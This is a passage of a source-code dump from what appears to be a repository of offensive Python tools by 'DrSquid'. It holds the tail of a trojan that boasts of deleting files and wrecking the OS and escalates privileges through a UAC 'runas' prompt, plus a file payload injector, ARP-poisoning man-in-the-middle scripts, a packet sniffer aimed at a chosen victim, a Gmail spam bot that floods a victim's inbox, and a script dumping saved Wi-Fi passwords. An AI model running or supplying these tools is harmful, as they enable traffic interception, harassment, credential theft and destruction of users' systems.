63 |     |_|\___/ \__,_|   \_/ \___| |____/ \___|\___|_| |_|  \_____\___/|_| |_| |_| .__/|_|  \___/|_| |_| |_|_|___/\___|\__,_(_)
64 |                                                                               | |                                           
65 |                                                                               |_|                                           
66 | ===============================================================================================================================           
67 | 
68 | [+] You are a Victim of the SquidWare Trojan!
69 | [+] All of your files are being deleted.
70 | [+] Your Operating System has also been destroyed, and it will not Boot when you restart the computer again.
71 | 
72 | [+] Thats too bad :( .""")
73 | """
74 | #Get rid of the quotes if you have gone insane.
75 | 
76 | try:
77 |     isadmin = ctypes.windll.shell32.IsUserAnAdmin()
78 | except:
79 |     isadmin = False
80 | if isadmin:
81 |     e = MalWare()
82 | else:
83 |     exec_dir = sys.argv[0]
84 |     params = f'"{exec_dir}"'
85 |     ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, params, None, 1)
86 | """


--------------------------------------------------------------------------------
/Malware/Squidinject.py:
--------------------------------------------------------------------------------
 1 | from optparse import OptionParser
 2 | 
 3 | class PayloadInjector:
 4 |     def logo(self=None):
 5 |         return """
 6 |   _________            .__    .___.___            __               __           ____    _______   
 7 |  /   _____/ ________ __|__| __| _/|   | ____     |__| ____   _____/  |_  ___  _/_   |   \   _  \  
 8 |  \_____  \ / ____/  |  \  |/ __ | |   |/    \    |  |/ __ \_/ ___\   __\ \  \/ /|   |   /  /_\  \ 
 9 |  /        < <_|  |  |  /  / /_/ | |   |   |  \   |  \  ___/\  \___|  |    \   / |   |   \  \_/   \\
10 | /_______  /\__   |____/|__\____ | |___|___|  /\__|  |\___  >\___  >__|     \_/  |___| /\ \_____  /
11 |         \/    |__|             \/          \/\______|    \/     \/                    \/       \/ 
12 | File Payload Injector by DrSquid"""
13 |     def __init__(self, injectfile, payloadfile):
14 |         print(self.logo())
15 |         self.payloadfile = payloadfile
16 |         self.injectfile = injectfile
17 |     def obtain_payload(self):
18 |         file = open(self.payloadfile,"r")
19 |         payload = file.read()
20 |         file.close()
21 |         return payload
22 |     def inject(self):
23 |         self.payload = self.obtain_payload()
24 |         self.inject_file_open = open(self.injectfile,"r")
25 |         self.injectfile_content = self.inject_file_open.read()
26 |         self.inject_file_open.close()
27 |         self.new_inject_file = open(self.injectfile,"w")
28 |         self.new_inject_file.write(self.payload+"\n")
29 |         self.new_inject_file.write(self.injectfile_content)
30 |         self.new_inject_file.close()
31 |         print(f"[+] Payload from file '{self.payloadfile}' has been injected into file '{self.injectfile}'.")
32 | class OptionParse:
33 |     def __init__(self):
34 |         self.parse_args()
35 |     def usage(self):
36 |         print(PayloadInjector.logo())
37 |         print("""
38 | [+] Option-Parsing Information:
39 | [+] --pL, --payload   - Specify the payload file.
40 | [+] --iF, --inject    - Specify the file being injected.
41 | [+] Note: These parameters are required.""")
42 |     def parse_args(self):
43 |         opt = OptionParser()
44 |         opt.add_option("--pL","--payload", dest="payload")
45 |         opt.add_option("--iF","--inject",dest="inject")
46 |         arg, opts = opt.parse_args()
47 |         if arg.payload is None or arg.inject is None:
48 |             self.usage()
49 |         else:
50 |             payloadfile = arg.payload
51 |             injectfile = arg.inject
52 |             payloadinject = PayloadInjector(injectfile, payloadfile)
53 |             payloadinject.inject()
54 | optionparse = OptionParse()


--------------------------------------------------------------------------------
/Network Related/SquidPoisoner.py:
--------------------------------------------------------------------------------
 1 | from optparse import OptionParser
 2 | 
 3 | class OptionParse:
 4 |     def __init__(self):
 5 |         self.logo()
 6 |         self.parse_args()
 7 |     def logo(self):
 8 |         print("""
 9 |   _____             _     _ _____      _                                  __   ___  
10 |  / ____|           (_)   | |  __ \    (_)                                /_ | / _ \ 
11 | | (___   __ _ _   _ _  __| | |__) |__  _ ___  ___  _ __   ___ _ __  __   _| || | | |
12 |  \___ \ / _` | | | | |/ _` |  ___/ _ \| / __|/ _ \| '_ \ / _ \ '__| \ \ / / || | | |
13 |  ____) | (_| | |_| | | (_| | |  | (_) | \__ \ (_) | | | |  __/ |     \ V /| || |_| |
14 | |_____/ \__, |\__,_|_|\__,_|_|   \___/|_|___/\___/|_| |_|\___|_|      \_/ |_(_)___/ 
15 |            | |                                                                      
16 |            |_|    
17 | ARP-Poisoner Script By DrSquid""")
18 |     def usage(self):
19 |         print("""
20 | [+] Option-Parsing Help:
21 | [+] -t, --target  - Specify the Target IP.
22 | [+] -g, --gateway - Specify your default gateway IP.
23 | [+] -i, --info    - Shows this message.
24 | 
25 | [+] Usage:""")
26 |         if sys.argv[0].endswith(".py"):
27 |             print("""[+] python3 SquidPoisoner.py -t <targetip> -g <gateway>
28 | [+] python3 SquidPoisoner.py -i
29 |             """)
30 |         else:
31 |             print("""[+] SquidPoisoner -t <targetip> -g <gateway>
32 | [+] SquidPoisoner -i""")
33 |     def parse_args(self):
34 |         args = OptionParser()
35 |         args.add_option("-t","--target", dest="target")
36 |         args.add_option("-g","--gateway", dest="gateway")
37 |         args.add_option("-i","--info",dest="info",action="store_true")
38 |         opt, arg = args.parse_args()
39 |         if opt.info is not None:
40 |             self.usage()
41 |             sys.exit()
42 |         if opt.target is not None:
43 |             target = opt.target
44 |         else:
45 |             self.usage()
46 |             sys.exit()
47 |         if opt.gateway is not None:
48 |             gateway = opt.gateway
49 |         else:
50 |             gateway = "192.168.0.1"
51 |         mitm = ARP_Poisoner(target, gateway)
52 |         mitm.arp_poison()
53 | class ARP_Poisoner:
54 |     def __init__(self, targ_ip, gate_ip):
55 |         self.targ_ip = targ_ip
56 |         self.gate_ip = gate_ip
57 |     def obtain_macaddress(self, ip):
58 |         arpbroadcast = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=ip)
59 |         recv = srp(arpbroadcast, timeout=2, verbose=False)
60 |         return recv[0][0][1].hwsrc
61 |     def send_arp_pkt(self, targetip, targetmac, sourceip):
62 |         packet = ARP(op=2, pdst=targetip, psrc=sourceip, hwdst=targetmac)
63 |         send(packet, verbose=False)
64 |     def restore_arp(self, targetip, targetmac, sourceip, sourcemac):
65 |         packet = ARP(op=2, hwsrc=sourcemac, psrc=sourceip, hwdst=targetmac, pdst=targetip)
66 |         send(packet, verbose=False)
67 |         print(f"[+] ARP Table Restored For: {targetip}")
68 |     def arp_poison(self):
69 |         try:
70 |             self.gate_mac = self.obtain_macaddress(self.gate_ip)
71 |             print(f"[+] Gateway MAC: {self.gate_mac}")
72 |         except:
73 |             print(f"[+] Unable to Obtain MAC Address for {self.gate_ip}")
74 |             sys.exit()
75 |         try:
76 |             self.targ_mac = self.obtain_macaddress(self.targ_ip)
77 |             print(f"[+] Target MAC: {self.targ_mac}")
78 |         except:
79 |             print(f"[+] Unable to Obtain MAC Address for {self.targ_ip}")
80 |             sys.exit()
81 |         print("\n[+] Sending ARP-Poisoning Packets to Targets\n[+] Do CTRL+C To Stop Arp Poisoning.\n")
82 |         print("[+] Be Aware that network traffic is being sent to you!\n[+] Use an external tool to check it out(like WireShark).")
83 |         while True:
84 |             try:
85 |                 self.send_arp_pkt(self.targ_ip, self.targ_mac, self.gate_ip)
86 |                 self.send_arp_pkt(self.gate_ip, self.gate_mac, self.targ_ip)
87 |             except:
88 |                 print("")
89 |                 self.restore_arp(self.gate_ip, self.gate_mac, self.targ_ip, self.targ_mac)
90 |                 self.restore_arp(self.targ_ip, self.targ_mac, self.gate_ip, self.gate_mac)
91 |                 break
92 | try:
93 |     from scapy.all import *
94 | except:
95 |     OptionParse.logo(None)
96 |     print("[+] Scapy is required to run this script.\n[+] Run this command if you have python: pip install scapy")
97 |     sys.exit()
98 | parser = OptionParse()


--------------------------------------------------------------------------------
/Network Related/SquidSniffer.py:
--------------------------------------------------------------------------------
  1 | import socket, binascii, struct, os, sys, time, threading
  2 | from optparse import OptionParser
  3 | from scapy.all import *
  4 | 
  5 | class OptionParse:
  6 |     def __init__(self):
  7 |         self.arg_parse()
  8 |     def logo(self):
  9 |         print("""\033[0;31;40m
 10 |   _____             _     _  _____       _  __  __                 __   ___  
 11 |  / ____|           (_)   | |/ ____|     (_)/ _|/ _|               /_ | / _ \ 
 12 | | (___   __ _ _   _ _  __| | (___  _ __  _| |_| |_ ___ _ __  __   _| || | | |
 13 |  \___ \ / _` | | | | |/ _` |\___ \| '_ \| |  _|  _/ _ \ '__| \ \ / / || | | |
 14 |  ____) | (_| | |_| | | (_| |____) | | | | | | | ||  __/ |     \ V /| || |_| |
 15 | |_____/ \__, |\__,_|_|\__,_|_____/|_| |_|_|_| |_| \___|_|      \_/ |_(_)___/ 
 16 |            | |                                                               
 17 |            |_|
 18 | Packet-Sniffing Script by DrSquid""")
 19 |     def usage(self):
 20 |         self.logo()
 21 |         print("""
 22 | [+] Option Parsing Help:
 23 | [+] -t, --translate - Script translate any incoming traffic and displays it in the output.
 24 | [+] -r, --raw       - Script displays raw network traffic in output.
 25 | [+] -l, --log       - Script Logs Network Traffic headers.
 26 | [+] -i, --info      - Shows this message.
 27 | [+] -p, --poison    - ARP Poisons a specified IP.
 28 | [+] -a, --address   - Only Display Traffic from the provided IP Address.
 29 | 
 30 | [+] Usage:
 31 | [+] python3 SquidSniffer.py -t -r
 32 | [+] python3 SquidSniffer.py -t -a <ipaddress> -p <ipaddress>
 33 | [+] python3 SquidSniffer.py -i
 34 |         """)
 35 |     def arg_parse(self):
 36 |         args = OptionParser()
 37 |         args.add_option("-t","--translate", action="store_true", dest="translate")
 38 |         args.add_option("-r","--raw",action="store_true",dest="raw")
 39 |         args.add_option("-i","--info",action="store_true",dest="info")
 40 |         args.add_option("-l", "--log", action="store_true", dest="log")
 41 |         args.add_option("-p", "--poison", dest="poisontarget")
 42 |         args.add_option("-a", "--address", dest="address")
 43 |         opt,arg = args.parse_args()
 44 |         if opt.info is not None:
 45 |             self.usage()
 46 |             sys.exit()
 47 |         else:
 48 |             pass
 49 |         if opt.poisontarget is not None:
 50 |             poison = opt.poisontarget
 51 |         else:
 52 |             poison = None
 53 |         if opt.address is not None:
 54 |             address = opt.address
 55 |         else:
 56 |             address = None
 57 |         if opt.translate is not None:
 58 |             translate = True
 59 |         else:
 60 |             translate = False
 61 |         if opt.log is not None:
 62 |             log = True
 63 |         else:
 64 |             log = False
 65 |         if opt.raw is not None:
 66 |             raw = True
 67 |         else:
 68 |             raw = False
 69 |         self.logo()
 70 | 
 71 |         sniffer = PacketSniffer(translate, raw, log, poison, address)
 72 |         print("[+] Preparing to recieve packets......\n")
 73 |         time.sleep(5)
 74 |         sniffing = threading.Thread(target=sniffer.sniffing)
 75 |         sniffing.start()
 76 | 
 77 | class ARP_Poisoner:
 78 |     def __init__(self, targ_ip, gate_ip):
 79 |         self.targ_ip = targ_ip
 80 |         self.gate_ip = gate_ip
 81 |     def obtain_macaddress(self, ip):
 82 |         arpbroadcast = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=ip)
 83 |         recv = srp(arpbroadcast, timeout=2, verbose=False)
 84 |         return recv[0][0][1].hwsrc
 85 |     def send_arp_pkt(self, targetip, targetmac, sourceip):
 86 |         packet = ARP(op=2, pdst=targetip, psrc=sourceip, hwdst=targetmac)
 87 |         send(packet, verbose=False)
 88 |     def restore_arp(self, targetip, targetmac, sourceip, sourcemac):
 89 |         packet = ARP(op=2, hwsrc=sourcemac, psrc=sourceip, hwdst=targetmac, pdst=targetip)
 90 |         send(packet, verbose=False)
 91 |         print(f"[+] ARP Table Restored For: {targetip}")
 92 |     def arp_poison(self):
 93 |         try:
 94 |             self.gate_mac = self.obtain_macaddress(self.gate_ip)
 95 |             print(f"[+] Gateway MAC: {self.gate_mac}")
 96 |         except:
 97 |             print(f"[+] Unable to Obtain MAC Address for {self.gate_ip}")
 98 |             sys.exit()
 99 |         try:
100 |             self.targ_mac = self.obtain_macaddress(self.targ_ip)
101 |             print(f"[+] Target MAC: {self.targ_mac}")
102 |         except:
103 |             print(f"[+] Unable to Obtain MAC Address for {self.targ_ip}")
104 |             sys.exit()
105 |         print("\n[+] Sending ARP-Poisoning Packets to Targets\n[+] Do CTRL+C To Stop Arp Poisoning.\n")
106 |         while True:
107 |             try:
108 |                 self.send_arp_pkt(self.targ_ip, self.targ_mac, self.gate_ip)
109 |                 self.send_arp_pkt(self.gate_ip, self.gate_mac, self.targ_ip)
110 |             except:
111 |                 self.restore_arp(self.gate_ip, self.gate_mac, self.targ_ip, self.targ_mac)
112 |                 self.restore_arp(self.targ_ip, self.targ_mac, self.gate_ip, self.gate_mac)
113 |                 break
114 | class PacketSniffer:
115 |     def __init__(self, translate=False, raw=False, log=False, poison=None, address=None):
116 |         self.os = os.name
117 |         self.poison = poison
118 |         self.logger = bool(log)
119 |         self.translat = bool(translate)
120 |         self.address = address
121 |         self.raw = bool(raw)
122 |         self.hastarget = False
123 |         if self.address is not None:
124 |             try:
125 |                 self.hastarget = True
126 |                 self.targ_mac = ARP_Poisoner.obtain_macaddress(None, self.address)
127 |                 print(f"[+] Obtained MAC Address of {self.address}: {self.targ_mac}")
128 |             except:
129 |                 print(f"[+] Unable to Obtain MAC Address of {self.address}.")
130 |                 print("[+] Check you arguements.")
131 |                 sys.exit()
132 |         self.translationfile = ['ÿ ff', 'a 61', 'b 62', 'c 63', 'd 64', 'e 65', 'f 66', 'g 67', 'h 68', 'i 69', 'j 6a', 'k 6b', 'l 6c', 'm 6d', 'n 6e', 'o 6f', 'p 70', 'q 71', 'r 72', 's 73', 't 74', 'u 75', 'v 76', 'w 77', 'x 78', 'y 79', 'z 7a', 'A 41', 'B 42', 'C 43', 'D 44', 'E 45', 'F 46', 'G 47', 'H 48', 'I 49', 'J 4a', 'K 4b', 'L 4c', 'M 4d', 'N 4e', 'O 4f', 'P 50', 'Q 51', 'R 52', 'S 53', 'T 54', 'U 55', 'V 56', 'W 57', 'X 58', 'Y 59', 'Z 5a', '0 30', '1 31', '2 32', '3 33', '4 34', '5 35', '6 36', '7 37', '8 38', '9 39', 'ˆ 88', '. 00', 'þ fe', '¶ b6', 'ž 9e', 'Ñ d1', 'Ë cb', '@ 40', ': 3a',"' 27",'" 22', "/ 2f", '\\ 5c', '$ 24', '% 25', '^ 5e', '& 26', '* 2a', '( 28', ') 29', '[ 5b', '] 5d', '{ 7b', '} 7d', 'ù f9', '© a9', 'À c0', 'ª aa', '¾ be', 'Û db', 'Ç c7']
133 |         self.logfile = "captured_traffic.txt"
134 |         print(f"[+] All Traffic Will be Logged.\n[+] Log File: {self.logfile}")
135 |         if self.poison is not None:
136 |             self.arp_poison = ARP_Poisoner(self.poison, "192.168.0.1")
137 |             self.arp_poisoner = threading.Thread(target=self.arp_poison.arp_poison)
138 |             self.arp_poisoner.start()
139 |         if self.os == "nt":
140 |             try:
141 |                 self.sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP)
142 |                 self.sniffer.bind((socket.gethostbyname(socket.gethostname()), 0))
143 |                 self.sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
144 |                 self.sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
145 |             except:
146 |                 print("[+] Error with binding socket.")
147 |                 print("[+] Run this script as admin!")
148 |                 sys.exit()
149 |         else:
150 |             self.sniffer = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
151 |     def eth_header(self, data):
152 |         storeobj = data
153 |         storeobj = struct.unpack("!6s6sH", storeobj)
154 |         destination_mac = binascii.hexlify(storeobj[0])
155 |         source_mac = binascii.hexlify(storeobj[1])
156 |         eth_protocol = storeobj[2]
157 |         dest_mac = ""
158 |         src_mac = ""
159 |         try:
160 |             item = 0
161 |             for i in source_mac.decode():
162 |                 src_mac += i
163 |                 item += 1
164 |                 if item == 2:
165 |                     item = 0
166 |                     src_mac += ":"
167 |             item = 0
168 |             for i in destination_mac.decode():
169 |                 dest_mac += i
170 |                 item += 1
171 |                 if item == 2:
172 |                     item = 0
173 |                     dest_mac += ":"
174 |         except:
175 |             pass
176 |         data = {"Source Mac": src_mac,
177 |                 "Destination Mac": dest_mac,
178 |                 "Protocol": eth_protocol}
179 |         return data
180 | 
181 |     def ip_header(self, data):
182 |         storeobj = struct.unpack("!BBHHHBBH4s4s", data)
183 |         version = storeobj[0]
184 |         tos = storeobj[1]
185 |         total_length = storeobj[2]
186 |         identification = storeobj[3]
187 |         fragment_Offset = storeobj[4]
188 |         ttl = storeobj[5]
189 |         protocol = storeobj[6]
190 |         header_checksum = storeobj[7]
191 |         source_address = socket.inet_ntoa(storeobj[8])
192 |         destination_address = socket.inet_ntoa(storeobj[9])
193 | 
194 |         data = {'Version': version,
195 |                 "Tos": tos,
196 |                 "Total Length": total_length,
197 |                 "Identification": identification,
198 |                 "Fragment": fragment_Offset,
199 |                 "TTL": ttl,
200 |                 "Protocol": protocol,
201 |                 "Header CheckSum": header_checksum,
202 |                 "Source Address": source_address,
203 |                 "Destination Address": destination_address}
204 |         return data
205 | 
206 |     def tcp_header(self, data):
207 |         storeobj = struct.unpack('!HHLLBBHHH', data)
208 |         source_port = storeobj[0]
209 |         destination_port = storeobj[1]
210 |         sequence_number = storeobj[2]
211 |         acknowledge_number = storeobj[3]
212 |         offset_reserved = storeobj[4]
213 |         tcp_flag = storeobj[5]
214 |         window = storeobj[6]
215 |         checksum = storeobj[7]
216 |         urgent_pointer = storeobj[8]
217 |         data = {"Source Port": source_port,
218 |                 "Destination Port": destination_port,
219 |                 "Sequence Number": sequence_number,
220 |                 "Acknowledge Number": acknowledge_number,
221 |                 "Offset & Reserved": offset_reserved,
222 |                 "TCP Flag": tcp_flag,
223 |                 "Window": window,
224 |                 "CheckSum": checksum,
225 |                 "Urgent Pointer": urgent_pointer
226 |                 }
227 |         return data
228 | 
229 |     def translatebyte(self, byte):
230 |         result = ""
231 |         flag = 0
232 |         for i in self.translationfile:
233 |             if byte in i:
234 |                 i = i.split()
235 |                 flag = 1
236 |                 return i[0]
237 |         if flag == 0:
238 |             return "."
239 |     def translate(self, datas, src_ip, dst_ip):
240 |         result = ""
241 |         split_data = ""
242 |         item = 0
243 |         for i in datas:
244 |             split_data += i
245 |             item += 1
246 |             if item == 2:
247 |                 split_data += " "
248 |                 item = 0
249 |         for data in split_data.split():
250 |             add = self.translatebyte(data)
251 |             result += add
252 |         if self.raw:
253 |             print(f"\n[+]: Raw Network Traffic:")
254 |             print(f" {split_data}")
255 |         self.log(f"\n[(RAW)({src_ip})---->({dst_ip})]: {split_data}\n[(DECODED)({src_ip})---->({dst_ip})]: {result}")
256 |         return result
257 |     def log(self, item):
258 |         try:
259 |             file = open(self.logfile,"r")
260 |             contents = file.read()
261 |             file.close()
262 |         except:
263 |             pass
264 |         file = open(self.logfile,"w")
265 |         try:
266 |             file.write(contents)
267 |         except:
268 |             pass
269 |         file.write(item)
270 |         file.close()
271 |     def sniffing(self):
272 |         while True:
273 |             try:
274 |                 if self.hastarget:
275 |                     desired_target = False
276 |                     pkt = self.sniffer.recvfrom(65565)
277 |                     self.log(f"\n\n[(RECV)] Raw Packets Received: {pkt}")
278 |                     if self.raw:
279 |                         print(f"\n[+] Raw Packets Recieved: {pkt}")
280 |                     if self.logger:
281 |                         self.log(msg)
282 |                     for i in self.eth_header(pkt[0][0:14]).items():
283 |                         a, b = i
284 |                         if desired_target:
285 |                             print(f"[+] {a} | {b}")
286 |                         if self.targ_mac in b:
287 |                             msg = "\n[+] Ethernet Header:"
288 |                             print(msg)
289 |                             print(f"[+] {a} | {b}")
290 |                             desired_target = True
291 |                         else:
292 |                             break
293 |                         if self.logger:
294 |                             self.log(f"\n[+] {a} | {b}")
295 |                     if desired_target:
296 |                         msg = "\n[+] IP Header:"
297 |                         print(msg)
298 |                         if self.logger:
299 |                             self.log(msg)
300 |                         for i in self.ip_header(pkt[0][14:34]).items():
301 |                             a, b = i
302 |                             print(f"[+] {a} | {b}")
303 |                             if "Source Address" in a.strip():
304 |                                 src_ip = b
305 |                             if "Destination Address" in a.strip():
306 |                                 dst_ip = b
307 |                             if self.logger:
308 |                                 self.log(f"\n[+] {a} | {b}")
309 |                         msg = "\n[+] TCP Header:"
310 |                         print(msg)
311 |                         if self.logger:
312 |                             self.log(msg)
313 |                         for i in self.tcp_header(pkt[0][34:54]).items():
314 |                             a, b = i
315 |                             print(f"[+] {a} | {b}")
316 |                             if self.logger:
317 |                                 self.log(f"\n[+] {a} | {b}")
318 |                         if self.translat:
319 |                             try:
320 |                                 translation = self.translate(binascii.hexlify(pkt[0]).decode(), src_ip, dst_ip)
321 |                                 print(
322 |                                     "\n[+] Translation Of Network Traffic(gibberish most likely means encrypted traffic):")
323 |                                 print(" ", translation)
324 |                             except Exception as e:
325 |                                 print("[+] Error with translation.")
326 |                         else:
327 |                             translation = self.translate(binascii.hexlify(pkt[0]).decode(), src_ip, dst_ip)
328 |                 else:
329 |                     pkt = self.sniffer.recvfrom(65565)
330 |                     self.log(f"\n\n[(RECV)] Raw Packets Received: {pkt}")
331 |                     if self.raw:
332 |                         print(f"\n[+] Raw Packets Recieved: {pkt}")
333 |                     msg = "\n[+] Ethernet Header:"
334 |                     print(msg)
335 |                     if self.logger:
336 |                         self.log(msg)
337 |                     for i in self.eth_header(pkt[0][0:14]).items():
338 |                         a, b = i
339 |                         print(f"[+] {a} | {b}")
340 |                         if self.logger:
341 |                             self.log(f"\n[+] {a} | {b}")
342 |                     msg = "\n[+] IP Header:"
343 |                     print(msg)
344 |                     if self.logger:
345 |                         self.log(msg)
346 |                     for i in self.ip_header(pkt[0][14:34]).items():
347 |                         a, b = i
348 |                         print(f"[+] {a} | {b}")
349 |                         if "Source Address" in a.strip():
350 |                             src_ip = b
351 |                         if "Destination Address" in a.strip():
352 |                             dst_ip = b
353 |                         if self.logger:
354 |                             self.log(f"\n[+] {a} | {b}")
355 |                     msg = "\n[+] TCP Header:"
356 |                     print(msg)
357 |                     if self.logger:
358 |                         self.log(msg)
359 |                     for i in self.tcp_header(pkt[0][34:54]).items():
360 |                         a, b = i
361 |                         print(f"[+] {a} | {b}")
362 |                         if self.logger:
363 |                             self.log(f"\n[+] {a} | {b}")
364 |                     if self.translat:
365 |                         try:
366 |                             translation = self.translate(binascii.hexlify(pkt[0]).decode(), src_ip, dst_ip)
367 |                             print(
368 |                                 "\n[+] Translation Of Network Traffic(gibberish most likely means encrypted traffic):")
369 |                             print(" ", translation)
370 |                         except Exception as e:
371 |                             print("[+] Error with translation.")
372 |                     else:
373 |                         translation = self.translate(binascii.hexlify(pkt[0]).decode(), src_ip, dst_ip)
374 |             except KeyboardInterrupt:
375 |                 print("[+] Stopping Script......\n")
376 |                 self.arp_poison.restore_arp(self.arp_poison.gate_ip, self.arp_poison.gate_mac, self.arp_poison.targ_ip, self.arp_poison.targ_mac)
377 |                 self.arp_poison.restore_arp(self.arp_poison.targ_ip, self.arp_poison.targ_mac, self.arp_poison.gate_ip, self.arp_poison.gate_mac)
378 |                 break
379 |             except Exception as e:
380 |                 self.log(f"\n[(ERROR]: {e}")
381 | parser = OptionParse()


--------------------------------------------------------------------------------
/Network Related/SquidSpammer.py:
--------------------------------------------------------------------------------
  1 | import smtplib, time, threading, random, sys, os
  2 | 
  3 | class SpamBot:
  4 |     def __init__(self, email, reciever, subject, msg):
  5 |         self.emaillist = email
  6 |         self.reciever = reciever
  7 |         self.subject = subject
  8 |         self.msg = msg
  9 |         self.clients = []
 10 |         print("\n[+] Preparing Spam Bots.....")
 11 |     def login_bots(self):
 12 |         for i in self.emaillist:
 13 |             self.attempt_login(i[0], i[1])
 14 |     def attempt_login(self, email, password, spamerror=False):
 15 |         client = smtplib.SMTP("smtp.gmail.com",587)
 16 |         client.ehlo()
 17 |         client.starttls()
 18 |         client.login(email, password)
 19 |         self.clients.append([client, email, password])
 20 |         if spamerror:
 21 |             bot = threading.Thread(target=self.spam, args=(client, email, password))
 22 |             bot.start()
 23 |         else:
 24 |             print(f"[+] Bot {email} is ready to fire!")
 25 |     def begin_spam(self):
 26 |         print("\n[+] Readying Bots....")
 27 |         for i in self.clients:
 28 |             bot = threading.Thread(target=self.spam, args=(i[0],i[1], i[2]))
 29 |             bot.start()
 30 |         print(f"[+] Bots are spamming email {self.reciever}!")
 31 |     def gen_packet(self, num):
 32 |         return f"From: {random.randint(1000000000,99999999999)} <nobodyasked@gmail.com>\nSubject: {self.subject}{num}\n\n{self.msg}"""
 33 |     def spam(self, email, fr_email, password):
 34 |         spam_msg = 1
 35 |         while True:
 36 |             try:
 37 |                 email.sendmail(from_addr=fr_email,to_addrs=self.reciever, msg=self.gen_packet(spam_msg))
 38 |                 spam_msg += 1
 39 |                 time.sleep(0.5)
 40 |             except Exception as e:
 41 |                 print(f"[+] Error with Bot: {fr_email}: {e}")
 42 |                 email.quit()
 43 |                 while True:
 44 |                     try:
 45 |                         print(f"[+] {fr_email} is attempting to reconnect in 30 seconds...")
 46 |                         time.sleep(30)
 47 |                         email = smtplib.SMTP("smtp.gmail.com",587)
 48 |                         email.ehlo()
 49 |                         email.starttls()
 50 |                         email.login(fr_email, password)
 51 |                         print(f"[+] Bot {fr_email} has reconnected and is now spamming!")
 52 |                         break
 53 |                     except Exception as e:
 54 |                         print(f"[+] Error with reconnecting Bot {fr_email} to SMTP Servers: {e}")
 55 | class BotAdder:
 56 |     def logo(self):
 57 |         return """
 58 |   _________            .__    .____________                                                  ____    _______   
 59 |  /   _____/ ________ __|__| __| _/   _____/__________    _____   _____   ___________  ___  _/_   |   \   _  \  
 60 |  \_____  \ / ____/  |  \  |/ __ |\_____  \\\____ \__  \  /     \ /     \_/ __ \_  __ \ \  \/ /|   |   /  /_\  \ 
 61 |  /        < <_|  |  |  /  / /_/ |/        \  |_> > __ \|  Y Y  \  Y Y  \  ___/|  | \/  \   / |   |   \  \_/   \\
 62 | /_______  /\__   |____/|__\____ /_______  /   __(____  /__|_|  /__|_|  /\___  >__|      \_/  |___| /\ \_____  /
 63 |         \/    |__|             \/       \/|__|       \/      \/      \/     \/                     \/       \/ 
 64 | Gmail SpamBot Script By DrSquid
 65 | """
 66 |     def __init__(self):
 67 |         self.bots = []
 68 |     def add_bots(self):
 69 |         print(self.logo())
 70 |         inputs = True
 71 |         subject = input("[+] What is the subject for the email?: ")
 72 |         msg = input("[+] Enter the msg to be spammed: ")
 73 |         spam_email = input("[+] Enter the victims email: ")
 74 |         while inputs:
 75 |             efficientornot = input("[+] Would you like to use a txt file for the bot emails?(yes/no): ")
 76 |             if efficientornot.lower() == "yes":
 77 |                 emailsfile = input("[+] Enter txt file with the bots: ")
 78 |                 botfile = open(emailsfile,"r")
 79 |                 content = botfile.read().split("\n")
 80 |                 for i in content:
 81 |                     try:
 82 |                         self.bots.append([i.strip("\n").split()[0], i.strip("\n").split()[1]])
 83 |                     except:
 84 |                         print("[+] There was an error with adding the Bot to the botnet.")
 85 |                 botfile.close()
 86 |                 inputs = False
 87 |             else:
 88 |                 while inputs:
 89 |                     if sys.platform == "win32":
 90 |                         os.system("cls")
 91 |                     else:
 92 |                         os.system("clear")
 93 |                     print(self.logo())
 94 |                     email = input("[+] Enter Email Address of Bot: ")
 95 |                     password = input("[+] Enter Password of Bot: ")
 96 |                     if email == "stop":
 97 |                         print(f"[+] Preparing to SpamBot: {spam_email}")
 98 |                         inputs = False
 99 |                         break
100 |                     self.bots.append([email, password])
101 |             spammer = SpamBot(self.bots,spam_email, subject, msg)
102 |             spammer.login_bots()
103 |             spammer.begin_spam()
104 | spammer = BotAdder()
105 | spammer.add_bots()
106 | 


--------------------------------------------------------------------------------
/Network Related/Wifi-PasswordObtainer(windows).py:
--------------------------------------------------------------------------------
 1 | import subprocess, re
 2 | item = subprocess.run(["netsh","wlan","show","profiles"],capture_output=True).stdout.decode()
 3 | prof_names = (re.findall("All User Profile     : (.*)\r", item))
 4 | passwords = []
 5 | check_networks = []
 6 | for i in prof_names:
 7 |     item = subprocess.run(["netsh", "wlan", "show", "profiles",i], capture_output=True).stdout.decode()
 8 |     security_key = False
 9 |     security_key_present = (re.findall("Security key           : (.*)\r", item))
10 |     if security_key_present[0] == "Present":
11 |         check_networks.append(i)
12 |     else:
13 |         pass
14 | for i in check_networks:
15 |     item = subprocess.run(["netsh","wlan","show","profiles",i,"key=clear"],capture_output=True).stdout.decode()
16 |     wifi_pass = (re.findall("Key Content            : (.*)\r",item))
17 |     wifi_pass = wifi_pass[0]
18 |     info = {'ssid': i, 'key': wifi_pass}
19 |     passwords.append(info)
20 | main_msg = ""
21 | for i in passwords:
22 |     main_msg = main_msg + str(i) + ","
23 | main_msg = f"Wifi Passwords: {main_msg}"
24 | print(main_msg)


--------------------------------------------------------------------------------
/Network Related/WireSquid.py:
--------------------------------------------------------------------------------
 1 | import pyshark, sys
 2 | from optparse import OptionParser
 3 | class PacketSniffer:
 4 |     def __init__(self, filter=None):
 5 |         self.capture = pyshark.LiveCapture(display_filter=filter)
 6 |         self.capture.sniff(timeout=0.01)
 7 |         self.filter = filter
 8 |         self.hasfilter = False
 9 |     def sniff(self):
10 |         while True:
11 |             for packet in self.capture.sniff_continuously(packet_count=1000):
12 |                 try:
13 |                     print(f"[+] {packet.transport_layer} | {packet.ip.src}:{packet[packet.transport_layer].srcport}->{packet.ip.dst}:{packet[packet.transport_layer].dstport} | {packet.eth.src}->{packet.eth.dst} | Length: {packet.length} |")
14 |                 except KeyboardInterrupt:
15 |                     print("[+] Stopped sniffing packets.")
16 |                     sys.exit()
17 |                 except Exception as e:
18 |                     try:
19 |                         print(f"[+] {packet.transport_layer} | {packet.ipv6.src}:{packet[packet.transport_layer].srcport}->{packet.ipv6.dst}:{packet[packet.transport_layer].dstport} | {packet.eth.src}->{packet.eth.dst} | Length: {packet.length} |")
20 |                     except:
21 |                         pass
22 | class OptionParse:
23 |     """Option-Parsing Class for parsing arguements."""
24 |     def __init__(self):
